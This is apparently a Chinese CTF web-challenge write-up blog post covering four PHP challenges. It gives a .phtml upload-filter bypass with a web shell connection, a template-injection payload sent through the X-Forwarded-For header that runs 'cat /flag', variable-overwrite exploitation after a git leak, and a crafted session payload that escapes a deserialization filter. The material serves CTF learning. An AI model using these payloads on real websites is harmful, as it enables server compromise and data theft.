ACTF upload
看到个上传页面 随便传了一下发现是只支持图像格式,想到可以用phtml绕过黑名单,老办法抓包
修改jpg为phtml 上传成功
蚁剑连接 getflag!
BJDCTF2020 the mystert of ip
看到ip 想到ip这个是可控的 因为我们可以用 XFF 或者是Client来写东西,经师傅提醒 我们burp抓包 在头处修改并进行读flag
payload :127.0.0.1{{system('cat /flag')}}
[BJDCTF2020]Mark loves cat
打开是一个这样的前端,扫目录,发现存在git泄漏 直接用githack脚本梭一发
发现index.php存在这样的文件
一看到$$就知道,应该是变量覆盖漏洞
demo
$a = "hello";
$$a = 'world';
echo $a ${$a}和 echo $a $hello 结果是一样的
我们一步一步看代码
foreach($_POST as $x => $y){
$$x = $y;
}
post:$flag=flag
这样就变成了$$flag = flag
foreach($_GET as $x => $y){
$$x = $$y;
}
GET:?yds=flag
$x为yds,$y为flag,所以$$x表示$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
只要没有flag参数,就会exit($yds),就可以得到flag了。
构造之后 get flag
2019极客大挑战又来一只猫
详见我的文章:浅尝php反序列化漏洞
[安洵杯 2019]easy_serialize_php
看眼代码
f可以选择三个参数:
1.highlight_file
2.phpinfo,并且提示may find sth
3.show_image,会把$_SESSION[img]中的东西base64解码然后显示出来
提示可以在phpinfo里面找一些东西
在这里面发现个奇怪的东西
注意到有一个
extract($_POST)
想到可能是变量覆盖漏洞,到这里自己知道应该是个反序列化的题,没了思路,上网找下师傅的wp发现
假设我们利用变量覆盖post一个:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}
序列化_SESSION后的数应该是:
a:3:{s:4:“user”;s:24:“flagflagflagflagflagflag”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
注意这里有2个img,一个是d0g3_f1ag.php,一个是由于我们没传img_path,默认为guest_img.png
过滤后将这6个flag字符串替换为空:
a:3:{s:4:“user”;s:24:"";s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
这样就导致少了24个字符,就会继续往后拿24个字符:";s:8:“function”;s:59:"a
a:3:{s:4:“user”;s:24:"";s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
由于该序列化开头为a:3,也就是有3个键值对,分别为:
user: ";s:8:“function”;s:59:"a
img: ZDBnM19mMWFnLnBocA==
dd: a
到此序列化就完整了,后面多出来的
";s:3:“img”;s:28:“L3VwbG9hZC9ndWVzdF9pbWcuanBn”;}
被视为多余的字符而被丢弃,所以img也就成功被我们写入了ZDBnM19mMWFnLnBocA==
自己还是tcl 学习一波
0 条评论